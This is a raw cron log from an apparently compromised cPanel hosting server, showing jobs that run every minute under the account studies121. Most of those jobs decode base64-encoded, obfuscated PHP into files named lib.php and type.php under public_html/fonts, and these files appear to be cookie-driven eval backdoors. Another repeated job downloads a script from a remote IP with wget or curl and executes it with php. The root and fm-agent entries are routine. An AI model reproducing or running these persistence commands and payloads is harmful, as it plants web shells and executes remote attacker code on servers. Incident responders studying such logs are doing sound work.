Sep  9 17:16:01 ip-184-168-122-23 CROND[19321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:16:01 ip-184-168-122-23 CROND[19323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:17:01 ip-184-168-122-23 CROND[19449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:17:01 ip-184-168-122-23 CROND[19451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:17:01 ip-184-168-122-23 CROND[19452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:17:01 ip-184-168-122-23 CROND[19454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:18:01 ip-184-168-122-23 CROND[19583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:18:01 ip-184-168-122-23 CROND[19588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:18:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:18:01 ip-184-168-122-23 CROND[19586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:18:01 ip-184-168-122-23 CROND[19589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:19:01 ip-184-168-122-23 CROND[19703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:19:01 ip-184-168-122-23 CROND[19706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:19:01 ip-184-168-122-23 CROND[19707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:19:01 ip-184-168-122-23 CROND[19709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19919]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:20:01 ip-184-168-122-23 CROND[19924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:20:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:20:01 ip-184-168-122-23 CROND[19929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:21:01 ip-184-168-122-23 CROND[20061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:21:01 ip-184-168-122-23 CROND[20063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:21:01 ip-184-168-122-23 CROND[20064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:21:01 ip-184-168-122-23 CROND[20065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:22:01 ip-184-168-122-23 CROND[20178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:22:01 ip-184-168-122-23 CROND[20180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:22:01 ip-184-168-122-23 CROND[20179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:22:01 ip-184-168-122-23 CROND[20182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:22:01 ip-184-168-122-23 CROND[20181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:23:01 ip-184-168-122-23 CROND[20281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:23:01 ip-184-168-122-23 CROND[20282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:23:01 ip-184-168-122-23 CROND[20284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:23:01 ip-184-168-122-23 CROND[20285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:24:01 ip-184-168-122-23 CROND[20369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:24:01 ip-184-168-122-23 CROND[20371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:24:01 ip-184-168-122-23 CROND[20375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:24:01 ip-184-168-122-23 CROND[20373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:24:01 ip-184-168-122-23 CROND[20374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:25:01 ip-184-168-122-23 CROND[20459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:25:01 ip-184-168-122-23 CROND[20461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:25:01 ip-184-168-122-23 CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:25:01 ip-184-168-122-23 CROND[20463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:25:01 ip-184-168-122-23 CROND[20464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:25:01 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:26:01 ip-184-168-122-23 CROND[20632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:26:01 ip-184-168-122-23 CROND[20634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:26:02 ip-184-168-122-23 CROND[20636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:26:02 ip-184-168-122-23 CROND[20637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:26:02 ip-184-168-122-23 CROND[20639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:27:01 ip-184-168-122-23 CROND[20728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:27:01 ip-184-168-122-23 CROND[20730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:27:01 ip-184-168-122-23 CROND[20733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:27:01 ip-184-168-122-23 CROND[20734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:28:01 ip-184-168-122-23 CROND[20814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:28:01 ip-184-168-122-23 CROND[20818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:28:01 ip-184-168-122-23 CROND[20815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:28:01 ip-184-168-122-23 CROND[20817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:28:01 ip-184-168-122-23 CROND[20816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
